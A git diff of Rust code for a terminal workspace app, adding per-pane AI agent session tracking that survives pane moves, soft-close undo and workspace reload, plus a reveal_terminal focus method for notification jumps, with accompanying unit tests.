+    fn jumping_out_of_fullscreen_stays_fullscreen(cx: &mut gpui::TestAppContext) {
+        // The regression this pins: callers used to zoom to the target project
+        // *before* the reveal, and changing the focused project drops the
+        // fullscreen context — so a notification jump dumped the user back into
+        // the overview instead of following them into the target pane.
+        let workspace = cx.new(|_cx| Workspace::new(workspace_data(&["p2"])));
+        let mut fm = FocusManager::new();
+        fm.enter_fullscreen("p1".to_string(), vec![], "t1".to_string());
+        assert!(fm.has_fullscreen());
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            ws.focus_terminal_by_id(&mut fm, WindowId::Main, "p2", "t2", cx);
+        });
+
+        assert_eq!(
+            fm.fullscreen_state(),
+            Some(("p2", "t2")),
+            "fullscreen follows the jump onto the target pane"
+        );
+    }
+}
diff --git a/crates/okena-workspace/src/actions/folder.rs b/crates/okena-workspace/src/actions/folder.rs
index bcec0c369..b3f9431e7 100644
--- a/crates/okena-workspace/src/actions/folder.rs
+++ b/crates/okena-workspace/src/actions/folder.rs
@@ -230,6 +230,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -353,6 +355,8 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/layout/mod.rs b/crates/okena-workspace/src/actions/layout/mod.rs
index ea0f10cf5..d92eedf7c 100644
--- a/crates/okena-workspace/src/actions/layout/mod.rs
+++ b/crates/okena-workspace/src/actions/layout/mod.rs
@@ -15,9 +15,23 @@ mod tabs;
 use crate::state::Workspace;
 
 impl Workspace {
-    /// Remove terminal_names/hidden_terminals entries that are no longer in the layout.
+    /// Remove terminal_names/hidden_terminals/agent_sessions entries that are no
+    /// longer in the layout.
     /// Returns the orphaned terminal IDs (for PTY cleanup by callers).
     pub(super) fn cleanup_orphaned_metadata(&mut self, project_id: &str) -> Vec<String> {
+        // A pane on its way out through a *deliberate* close is not orphaned:
+        // a soft close keeps its PTY and metadata alive for the undo, and a hard
+        // close drops its session explicitly via `forget_agent_session`. Both
+        // register a closing owner before the layout removal; a soft close is
+        // only added to `pending_closes` afterwards, so consult both.
+        let mut exempt: std::collections::HashSet<String> = self
+            .closing_terminal_owners
+            .iter()
+            .filter(|(_, owner)| owner.project_id == project_id)
+            .map(|(terminal_id, _)| terminal_id.clone())
+            .collect();
+        exempt.extend(self.pending_close_ids_for_project(project_id));
+
         let Some(project) = self.project_mut(project_id) else {
             return vec![];
         };
@@ -40,6 +54,15 @@ impl Workspace {
             project.hidden_terminals.remove(id);
         }
 
+        // Prune sessions against the layout, not against `orphaned`. That list
+        // is derived from `terminal_names`, so it only ever names panes the user
+        // renamed — a pane carrying only an agent session (the common case;
+        // almost nobody renames panes) was never cleaned up here, and a later
+        // pane inheriting its id would be handed a stale session to resume.
+        project
+            .agent_sessions
+            .retain(|id, _| layout_ids.contains(id) || exempt.contains(id));
+
         orphaned
     }
 }
diff --git a/crates/okena-workspace/src/actions/layout/move_ops.rs b/crates/okena-workspace/src/actions/layout/move_ops.rs
index bd63ce505..d9ccf7ecb 100644
--- a/crates/okena-workspace/src/actions/layout/move_ops.rs
+++ b/crates/okena-workspace/src/actions/layout/move_ops.rs
@@ -205,6 +205,15 @@ impl Workspace {
             return;
         }
 
+        // Panes inside a soft-close grace window are out of the layout while
+        // their PTY, registry entry and metadata are deliberately kept alive for
+        // the undo. Collect them before the mutable borrow so the prune below
+        // doesn't delete a pane's metadata just because some *other* pane moved.
+        let src_grace_ids = {
+            let src_project_id = self.data.projects[src_idx].id.clone();
+            self.pending_close_ids_for_project(&src_project_id)
+        };
+
         // --- Extract from source ---
         let src_project = &mut self.data.projects[src_idx];
         if source_path.is_empty() {
@@ -223,19 +232,27 @@ impl Workspace {
         // Migrate metadata from source to target
         let terminal_name = src_project.terminal_names.remove(source_terminal_id);
         let hidden_state = src_project.hidden_terminals.remove(source_terminal_id);
+        // The agent keeps running in the moved pane, so its session identity
+        // has to follow it — the map is per project.
+        let agent_session = src_project.agent_sessions.remove(source_terminal_id);
 
-        // Cleanup orphaned source metadata
-        let src_layout_ids: std::collections::HashSet<String> = src_project
+        // Cleanup orphaned source metadata. "Orphaned" means not in the layout
+        // AND not waiting out a soft-close grace window.
+        let mut src_layout_ids: std::collections::HashSet<String> = src_project
             .layout
             .as_ref()
             .map(|l| l.collect_terminal_ids().into_iter().collect())
             .unwrap_or_default();
+        src_layout_ids.extend(src_grace_ids);
         src_project
             .terminal_names
             .retain(|id, _| src_layout_ids.contains(id));
         src_project
             .hidden_terminals
             .retain(|id, _| src_layout_ids.contains(id));
+        src_project
+            .agent_sessions
+            .retain(|id, _| src_layout_ids.contains(id));
 
         // --- Insert into target ---
         let tgt_project = &mut self.data.projects[tgt_idx];
@@ -250,6 +267,11 @@ impl Workspace {
                 .hidden_terminals
                 .insert(source_terminal_id.to_string(), hidden);
         }
+        if let Some(session) = agent_session {
+            tgt_project
+                .agent_sessions
+                .insert(source_terminal_id.to_string(), session);
+        }
 
         let new_focus_path = if let Some(ref mut tgt_layout) = tgt_project.layout {
             // Re-find target path in target layout
@@ -560,6 +582,13 @@ impl Workspace {
             None => return,
         };
 
+        // See the note in `move_pane_into_project` — a soft-closed pane is out
+        // of the layout but still owns its metadata until the grace window ends.
+        let src_grace_ids = {
+            let src_project_id = self.data.projects[src_idx].id.clone();
+            self.pending_close_ids_for_project(&src_project_id)
+        };
+
         // --- Extract from source ---
         let src_project = &mut self.data.projects[src_idx];
         if source_path.is_empty() {
@@ -577,19 +606,27 @@ impl Workspace {
         // Migrate metadata
         let terminal_name = src_project.terminal_names.remove(terminal_id);
         let hidden_state = src_project.hidden_terminals.remove(terminal_id);
+        // The agent keeps running in the moved pane, so its session identity
+        // has to follow it — the map is per project.
+        let agent_session = src_project.agent_sessions.remove(terminal_id);
 
-        // Cleanup orphaned source metadata
-        let src_layout_ids: std::collections::HashSet<String> = src_project
+        // Cleanup orphaned source metadata. "Orphaned" means not in the layout
+        // AND not waiting out a soft-close grace window.
+        let mut src_layout_ids: std::collections::HashSet<String> = src_project
             .layout
             .as_ref()
             .map(|l| l.collect_terminal_ids().into_iter().collect())
             .unwrap_or_default();
+        src_layout_ids.extend(src_grace_ids);
         src_project
             .terminal_names
             .retain(|id, _| src_layout_ids.contains(id));
         src_project
             .hidden_terminals
             .retain(|id, _| src_layout_ids.contains(id));
+        src_project
+            .agent_sessions
+            .retain(|id, _| src_layout_ids.contains(id));
 
         // --- Insert into target ---
         let tgt_project = &mut self.data.projects[tgt_idx];
@@ -604,6 +641,11 @@ impl Workspace {
                 .hidden_terminals
                 .insert(terminal_id.to_string(), hidden);
         }
+        if let Some(session) = agent_session {
+            tgt_project
+                .agent_sessions
+                .insert(terminal_id.to_string(), session);
+        }
 
         let new_focus_path = if let Some(ref mut tgt_layout) = tgt_project.layout {
             // Re-find the tabs container via the reference terminal
diff --git a/crates/okena-workspace/src/actions/layout/tests_gpui.rs b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
index 03dff4e20..1b8443bb8 100644
--- a/crates/okena-workspace/src/actions/layout/tests_gpui.rs
+++ b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
@@ -30,6 +30,8 @@ fn make_project(id: &str) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
@@ -499,6 +501,8 @@ fn make_project_with_layout(id: &str, layout: LayoutNode) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
+        pending_agent_resumes: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
@@ -1314,3 +1318,170 @@ fn test_move_to_tab_group_cross_project(cx: &mut gpui::TestAppContext) {
         }
     });
 }
+
+// === cross-project agent session migration ===
+
+fn agent_session(session_id: &str) -> okena_core::agent_session::AgentSession {
+    okena_core::agent_session::AgentSession {
+        agent: "claude-code".to_string(),
+        session_id: session_id.to_string(),
+        transcript_path: None,
+    }
+}
+
+const SESSION_UUID: &str = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+
+/// Dragging a pane to another project must carry its agent session: the agent
+/// keeps running, but `agent_sessions` is per project, so the identity would
+/// otherwise be stranded in the source project as an orphan.
+#[gpui::test]
+fn move_pane_across_projects_carries_the_agent_session(cx: &mut gpui::TestAppContext) {
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout("p2", terminal_node_t("t3"));
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.move_pane(
+            &mut FocusManager::new(),
+            "p1",
+            "t1",
+            "p2",
+            "t3",
+            DropZone::Right,
+            cx,
+        );
+    });
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        assert_eq!(ws.agent_session("p1", "t1"), None, "source keeps no orphan");
+        assert_eq!(
+            ws.agent_session("p2", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "the session follows the pane into its new project"
+        );
+    });
+}
+
+#[gpui::test]
+fn move_to_tab_group_across_projects_carries_the_agent_session(cx: &mut gpui::TestAppContext) {
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout(
+        "p2",
+        LayoutNode::Tabs {
+            children: vec![terminal_node_t("t3"), terminal_node_t("t4")],
+            active_tab: 0,
+        },
+    );
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.move_terminal_to_tab_group(&mut FocusManager::new(), "p1", "t1", "p2", &[], Some(1), cx);
+    });
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        assert_eq!(ws.agent_session("p1", "t1"), None);
+        assert_eq!(
+            ws.agent_session("p2", "t1"),
+            Some(agent_session(SESSION_UUID))
+        );
+    });
+}
+
+#[gpui::test]
+fn close_other_tabs_drops_the_agent_sessions_of_the_panes_it_removed(
+    cx: &mut gpui::TestAppContext,
+) {
+    // A multi-pane close removes several panes at once, and only the explicitly
+    // closed one goes through `forget_agent_session` — the rest are pruned by
+    // `cleanup_orphaned_metadata`, which used to prune the two sibling maps and
+    // leave `agent_sessions` behind. An orphan there is not cosmetic: a later
+    // pane inheriting the id would be handed someone else's session to resume.
+    let layout = LayoutNode::Tabs {
+        children: vec![
+            terminal_node_t("t1"),
+            terminal_node_t("t2"),
+            terminal_node_t("t3"),
+        ],
+        active_tab: 0,
+    };
+    let mut project = make_project_with_layout("p1", layout);
+    for id in ["t1", "t2", "t3"] {
+        project
+            .agent_sessions
+            .insert(id.to_string(), agent_session(SESSION_UUID));
+    }
+    let data = make_workspace_data(vec![project], vec!["p1"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        ws.close_other_tabs("p1", &[], 0, cx)
+    });
+
+    workspace.read_with(cx, |ws: &Workspace, _cx| {
+        let project = ws.project("p1").expect("project");
+        let mut kept: Vec<&str> = project.agent_sessions.keys().map(String::as_str).collect();
+        kept.sort_unstable();
+        assert_eq!(kept, vec!["t1"], "only the surviving pane keeps a session");
+    });
+}
+
+#[gpui::test]
+fn moving_a_pane_out_spares_a_sibling_inside_its_soft_close_window(cx: &mut gpui::TestAppContext) {
+    // A soft-closed pane is out of the layout while its PTY and metadata are
+    // deliberately kept alive for the undo. The source-side prune after a
+    // cross-project move is keyed on "is it in the layout", so moving ANY other
+    // pane during that window used to delete the soft-closed pane's session —
+    // and undo would then restore the pane without it.
+    let mut p1 = make_project_with_layout(
+        "p1",
+        LayoutNode::Split {
+            direction: SplitDirection::Vertical,
+            sizes: vec![50.0, 50.0],
+            children: vec![terminal_node_t("t1"), terminal_node_t("t2")],
+        },
+    );
+    p1.agent_sessions
+        .insert("t1".to_string(), agent_session(SESSION_UUID));
+    let p2 = make_project_with_layout("p2", terminal_node_t("t3"));
+    let data = make_workspace_data(vec![p1, p2], vec!["p1", "p2"]);
+    let workspace = cx.new(|_cx| Workspace::new(data));
+
+    workspace.update(cx, |ws: &mut Workspace, cx| {
+        let mut focus = FocusManager::new();
+        ws.begin_soft_close(&mut focus, "p1", &[0], "t1", "toast-t1", cx);
+        // t2 is unrelated to the pending close — moving it must not touch t1.
+        ws.move_pane(&mut focus, "p1", "t2", "p2", "t3", DropZone::Right, cx);
+
+        assert_eq!(
+            ws.agent_session("p1", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "the soft-closed pane keeps its session until the close is finalized"
+        );
+        assert!(ws.undo_soft_close(&mut focus, "t1", true, cx));
+        assert_eq!(
+            ws.agent_session("p1", "t1"),
+            Some(agent_session(SESSION_UUID)),
+            "and undo brings the pane back with it"
+        );
+    });
+}
diff --git a/crates/okena-workspace/src/actions/project.rs b/crates/okena-workspace/src/actions/project.rs
index db7afb0cd..59b5e252b 100644
--- a/crates/okena-workspace/src/actions/project.rs
+++ b/crates/okena-workspace/src/actions/project.rs
@@ -303,6 +303,8 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1102,6 +1104,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1431,6 +1435,8 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/soft_close.rs b/crates/okena-workspace/src/actions/soft_close.rs
index 18f34630e..7d5f5f05f 100644
--- a/crates/okena-workspace/src/actions/soft_close.rs
+++ b/crates/okena-workspace/src/actions/soft_close.rs
@@ -346,6 +346,21 @@ impl Workspace {
             .retain(|r| r.terminal_id != terminal_id);
     }
 
+    /// Terminal ids in `project_id` that are waiting out a soft-close grace
+    /// window.
+    ///
+    /// They are out of the layout tree while their PTY, registry entry and
+    /// per-terminal metadata (`terminal_names` / `hidden_terminals` /
+    /// `agent_sessions`) are deliberately kept alive for the undo, so any prune
+    /// keyed on "is this id in the layout?" has to count them as present.
+    pub(crate) fn pending_close_ids_for_project(&self, project_id: &str) -> Vec<String> {
+        self.pending_closes
+            .iter()
+            .filter(|pending| pending.project_id == project_id)
+            .map(|pending| pending.terminal_id.clone())
+            .collect()
+    }
+
     /// True if the terminal is currently waiting out its grace period.
     pub fn has_pending_close(&self, terminal_id: &str) -> bool {
         self.pending_closes
@@ -369,6 +384,10 @@ impl Workspace {
         if self.take_pending_close(terminal_id).is_none() {
             return false;
         }
+        // The close is now irreversible, so the captured agent session can go.
+        // It deliberately survives the grace period: an undo restores the pane
+        // and must restore its session identity with it.
+        self.forget_agent_session(terminal_id, cx);
         self.queue_terminal_kills([terminal_id.to_string()]);
         // Plain notify (not notify_data): queuing a kill is transient state, it
         // must not bump data_version / trigger an auto-save. The workspace
@@ -610,6 +629,8 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
+            pending_agent_resumes: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -678,6 +699,41 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    fn agent_session_survives_undo_and_dies_with_the_finalized_close(
+        cx: &mut gpui::TestAppContext,
+    ) {
+        let session = okena_core::agent_session::AgentSession {
+            agent: "claude-code".to_string(),
+            session_id: "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b".to_string(),
+            transcript_path: None,
+        };
+        let mut data = workspace_data(hsplit(vec![term("a"), term("b")]));
+        data.projects[0]
+            .agent_sessions
+            .insert("a".to_string(), session.clone());
+        let workspace = cx.new(|_cx| Workspace::new(data));
+
+        workspace.update(cx, |ws: &mut Workspace, cx| {
+            let mut fm = FocusManager::new();
+
+            // The grace period is reversible, so the session must still be there.
+            ws.begin_soft_close(&mut fm, "p1", &[0], "a", "toast-a", cx);
+            assert_eq!(ws.agent_session("p1", "a"), Some(session.clone()));
+            assert!(ws.undo_soft_close(&mut fm, "a", true, cx));
+            assert_eq!(
+                ws.agent_session("p1", "a"),
+                Some(session),
+                "an undone close must bring the session back with the pane"
+            );
+
+            // Finalizing makes the close permanent — no orphan left behind.
+            ws.begin_soft_close(&mut fm, "p1", &[0], "a", "toast-a", cx);
+            assert!(ws.finalize_soft_close("a", cx));
+            assert_eq!(ws.agent_session("p1", "a"), None);
+        });
+    }
+
     #[gpui::test]
     fn undo_with_dead_pty_drops_pending_without_restoring(cx: &mut gpui::TestAppContext) {
         let data = workspace_data(hsplit(vec![term("a"), term("b")]));
diff --git a/crates/okena-workspace/src/actions/worktree.rs b/crates/okena-workspace/src/actions/worktree.rs
index aa1a6f841..a7f5ad0db 100644
--- a/crates/okena-workspace/src/actions/worktree.rs
+++ b/crates/okena-workspace/src/actions/worktree.rs
@@ -528,6 +528,8 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -712,6 +714,8 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
+            pending_agent_resumes: HashMap::new(),
             hook_terminals: HashMap::new(),
             pinned: false,
             last_activity_at: None,
diff --git a/crates/okena-workspace/src/focus.rs b/crates/okena-workspace/src/focus.rs
index 7d73272b0..77ea89fda 100644
--- a/crates/okena-workspace/src/focus.rs
+++ b/crates/okena-workspace/src/focus.rs
@@ -220,6 +220,12 @@ impl FocusManager {
     /// This is the primary method for focusing a terminal. It:
     /// - Updates the current focus target
     /// - Does NOT push to stack (direct user action)
+    ///
+    /// This is the "click an already-visible pane" path: it deliberately
+    /// preserves fullscreen (and then keeps the same fullscreened project,
+    /// only updating the layout path). To *navigate* to a terminal the current
+    /// view might be hiding — a sidebar/agent click, a notification, a remote
+    /// focus request — use [`reveal_terminal`](Self::reveal_terminal) instead.
     pub fn focus_terminal(&mut self, project_id: String, layout_path: Vec<usize>) {
         if self.context == FocusContext::Fullscreen {
             // Preserve fullscreen state — only update layout_path if same project
@@ -232,6 +238,89 @@ impl FocusManager {
         self.context = FocusContext::Terminal;
     }
 
+    /// Reveal **and** focus a terminal as a navigation action — an agent-row or
+    /// sidebar click, a notification jump, a remote focus request.
+    ///
+    /// [`focus_terminal`](Self::focus_terminal) is for clicking a pane that's
+    /// already on screen, so it preserves fullscreen and ignores the requested
+    /// project; that makes it unable to reach a terminal the current view is
+    /// hiding (a different zoomed project, a fullscreened sibling). This instead
+    /// retargets whatever view mode is active onto the target so it actually
+    /// becomes visible, *without* widening the view the user chose:
+    ///
+    /// - **Fullscreen** → stay fullscreen, but on the target terminal and its
+    ///   project (retargeted in place, no stack growth — same as the zoom-header
+    ///   next/prev arrows). A jump from a zoomed terminal lands on the new one
+    ///   instead of being swallowed by the old `layout_path`-only update.
+    /// - **Project zoom** (`focused_project_id` set) → switch the zoom to the
+    ///   target's project. `compute_visible_projects`' focus override then
+    ///   surfaces that project even past a folder filter or a hidden-set entry.
+    /// - **Overview** (no zoom, no fullscreen) → just move terminal focus; the
+    ///   target's column is already on screen, so the multi-project overview is
+    ///   left intact. Unless `project_offscreen` says it isn't: a project in the
+    ///   window's hidden set or behind a folder filter renders nowhere, so
+    ///   focusing it would silently do nothing. Then zoom to it instead —
+    ///   `compute_visible_projects`' focus override surfaces a project past both.
+    ///
+    /// `terminal_id` is the id of the terminal at `layout_path`; it's required
+    /// to retarget fullscreen (which tracks the focused terminal by id).
+    /// `project_offscreen` must be computed against the *calling window*, which
+    /// is why this takes it rather than deciding for itself — a `FocusManager`
+    /// is per-window but doesn't hold the workspace data to check.
+    pub fn reveal_terminal(
+        &mut self,
+        project_id: String,
+        layout_path: Vec<usize>,
+        terminal_id: String,
+        project_offscreen: bool,
+    ) {
+        if self.context == FocusContext::Fullscreen {
+            // Retarget the single zoomed pane onto the target, following it to
+            // its project so the one visible column is the target's. Mirrors the
+            // in-place swap `enter_fullscreen` does when already fullscreen.
+            self.current_focus = Some(FocusTarget::with_terminal(
+                project_id.clone(),
+                layout_path,
+                terminal_id,
+            ));
+            self.focused_project_id = Some(project_id);
+            return;
+        }
+
+        // Not fullscreen. If a project is zoomed, follow the jump so the
+        // target's column is the one shown; leave overview untouched. Only when
+        // switching to a *different* project do we reset individual mode (a
+        // fresh zoom shows the project plus its worktree children) — revealing
+        // another terminal within the already-zoomed project must NOT clear
+        // individual mode, or it would re-expand worktree children the user has
+        // zoomed past. This primitive also backs pre-existing sidebar/cursor
+        // terminal clicks, so that regression would hit them too.
+        if self
+            .focused_project_id
+            .as_deref()
+            .is_some_and(|current| current != project_id)
+        {
+            self.focused_project_id = Some(project_id.clone());
+            self.focus_project_individual = false;
+        } else if self.focused_project_id.is_none() && project_offscreen {
+            // Overview, but this window isn't rendering the target's column.
+            // Zooming is the narrowest way to make it reachable; leaving the
+            // hidden set / folder filter alone means the user's view returns to
+            // exactly what it was when they zoom back out.
+            //
+            // This is a None→Some zoom transition, so it must save the pre-zoom
+            // focus like every other one — otherwise zooming back out leaves
+            // focus stranded on the revealed (now invisible) project: no pane
+            // renders a focus ring, `focused_terminal_state()` lies, and
+            // keystrokes go to whatever GPUI handle was focused before.
+            self.apply_zoom_focus_save_restore(&Some(project_id.clone()));
+            self.focused_project_id = Some(project_id.clone());
+            self.focus_project_individual = false;
+        }
+        self.current_focus = Some(FocusTarget::new(project_id, layout_path));
+        self.context = FocusContext::Terminal;
+    }
+
     /// Enter fullscreen mode, saving current focus for restoration.
     ///
     /// When entering fullscreen, the current focus and focused_project_id are
@@ -602,6 +691,125 @@ mod tests {
         assert!(!fm.has_fullscreen());
     }
 
+    #[test]
+    fn reveal_terminal_retargets_fullscreen_to_other_project() {
+        // A different terminal is fullscreened; revealing the target must follow
+        // it (terminal + project) while staying fullscreen, and must not grow
+        // the stack (so one exit still leaves fullscreen). This is the
+        // "terminal zoomed" half of the focus bug.
+        let mut fm = FocusManager::new();
+        fm.enter_fullscreen("proj1".to_string(), vec![0], "term1".to_string());
+        let stack_after_enter = fm.focus_stack.len();
+
+        fm.reveal_terminal("proj2".to_string(), vec![1, 0], "term2".to_string(), false);
+
+        assert!(fm.has_fullscreen());
+        assert!(fm.is_terminal_fullscreened("proj2", "term2"));
+        assert_eq!(fm.fullscreen_project_id(), Some("proj2"));
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+        assert_eq!(fm.focused_terminal_state().unwrap().layout_path, vec![1, 0]);
+        assert_eq!(fm.focus_stack.len(), stack_after_enter);
+
+        // A single exit fully leaves fullscreen.
+        fm.exit_fullscreen();
+        assert!(!fm.has_fullscreen());
+    }
+
+    #[test]
+    fn reveal_terminal_switches_zoom_to_target_project() {
+        // Zoomed into proj1; revealing a terminal in proj2 must switch the zoom
+        // to proj2 so its column is the one shown. This is the "different
+        // project zoomed" half of the focus bug.
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![2], "term2".to_string(), false);
+
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+        assert!(!fm.has_fullscreen());
+        assert_eq!(*fm.context(), FocusContext::Terminal);
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj2");
+        assert_eq!(state.layout_path, vec![2]);
+    }
+
+    #[test]
+    fn reveal_terminal_in_overview_keeps_overview() {
+        // In overview (no zoom), revealing must not collapse the view into a
+        // single project — it only moves terminal focus.
+        let mut fm = FocusManager::new();
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string(), false);
+
+        assert_eq!(fm.focused_project_id(), None);
+        assert!(!fm.has_fullscreen());
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj2");
+        assert_eq!(state.layout_path, vec![1]);
+    }
+
+    #[test]
+    fn reveal_terminal_offscreen_from_overview_restores_focus_on_zoom_out() {
+        // Revealing an off-screen project from overview zooms into it. That is a
+        // None→Some zoom transition like any other, so zooming back out must
+        // return focus to where the user was — otherwise focus is stranded on a
+        // project that is no longer rendered.
+        let mut fm = FocusManager::new();
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj2".to_string(), vec![1], "term2".to_string(), true);
+        assert_eq!(fm.focused_project_id().map(String::as_str), Some("proj2"));
+        assert_eq!(fm.focused_terminal_state().unwrap().project_id, "proj2");
+
+        fm.set_focused_project_id(None);
+        assert_eq!(fm.focused_project_id(), None);
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj1");
+        assert_eq!(state.layout_path, vec![0]);
+    }
+
+    #[test]
+    fn reveal_terminal_zoomed_same_project_updates_focus() {
+        // Revealing another terminal within the already-zoomed project keeps the
+        // zoom on that project and just moves focus.
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string(), false);
+
+        assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
+        let state = fm.focused_terminal_state().unwrap();
+        assert_eq!(state.project_id, "proj1");
+        assert_eq!(state.layout_path, vec![1]);
+    }
+
+    #[test]
+    fn reveal_terminal_within_individual_zoom_preserves_individual_mode() {
+        // Zoomed *individual* into proj1 (worktree children hidden); revealing
+        // another terminal of proj1 must keep individual mode on — it must not
+        // re-expand the hidden children. Regression guard for the
+        // set_focused_terminal -> reveal_terminal swap, which previously cleared
+        // individual mode unconditionally (also hitting sidebar/cursor clicks).
+        let mut fm = FocusManager::new();
+        fm.set_focused_project_id_individual(Some("proj1".to_string()));
+        fm.focus_terminal("proj1".to_string(), vec![0]);
+        assert!(fm.is_focus_individual());
+
+        fm.reveal_terminal("proj1".to_string(), vec![1], "term-b".to_string(), false);
+
+        assert!(fm.is_focus_individual());
+        assert_eq!(fm.focused_project_id(), Some(&"proj1".to_string()));
+        assert_eq!(fm.focused_terminal_state().unwrap().layout_path, vec![1]);
+
+        // ...but switching to a DIFFERENT project still resets individual mode.
+        fm.reveal_terminal("proj2".to_string(), vec![0], "term-c".to_string(), false);
+        assert!(!fm.is_focus_individual());
+        assert_eq!(fm.focused_project_id(), Some(&"proj2".to_string()));
+    }
+
     #[test]
     fn clear_all_resets_everything() {
         let mut fm = FocusManager::new();
diff --git a/crates/okena-workspace/src/persistence.rs b/crates/okena-workspace/src/persistence.rs
index c9f3bee11..d38960f74 100644
--- a/crates/okena-workspace/src/persistence.rs
+++ b/crates/okena-workspace/src/persistence.rs
@@ -201,6 +201,25 @@ pub(crate) fn validate_workspace_data(
             let hook_ids: std::collections::HashSet<&str> =
                 project.hook_terminals.keys().map(|s| s.as_str()).collect();
             if let Some(ref mut layout) = project.layout {
+                // Agent sessions are keyed by terminal id — exactly what is
+                // about to be dropped. Re-key them onto their pane's layout
+                // path so `spawn_uninitialized_terminals` can hand each one to
+                // the pane that inherits it. Normalize first: the pass further
+                // down re-runs it (it is idempotent) and it can shift paths, so
+                // capturing beforehand would record stale ones.
+                layout.normalize();
+                let mut pending = HashMap::new();
+                for (terminal_id, session) in &project.agent_sessions {
+                    // A hook terminal keeps its id, so its session stays keyed
+                    // by that id and needs no re-keying.
+                    if hook_ids.contains(terminal_id.as_str()) || !session.is_valid() {
+                        continue;
+                    }
+                    if let Some(path) = layout.find_terminal_path(terminal_id) {
+                        pending.insert(path, session.clone());
+                    }
+                }
+                project.pending_agent_resumes = pending;
                 layout.clear_terminal_ids_except(&hook_ids);
             }
             project.service_terminals.clear();
@@ -235,6 +254,13 @@ pub(crate) fn validate_workspace_data(
         project
             .hidden_terminals
             .retain(|id, _| layout_ids.contains(id));
+        // Same rule for agent sessions, plus a re-validation pass: workspace.json
+        // is user-editable and long-lived, so a stored `session_id` must clear
+        // the same UUID invariant the OSC parser enforces before it can reach a
+        // resume command.
+        project
+            .agent_sessions
+            .retain(|id, session| layout_ids.contains(id) && session.is_valid());
     }
 
     // Populate worktree_ids from worktree_info back-references (migration for old data)
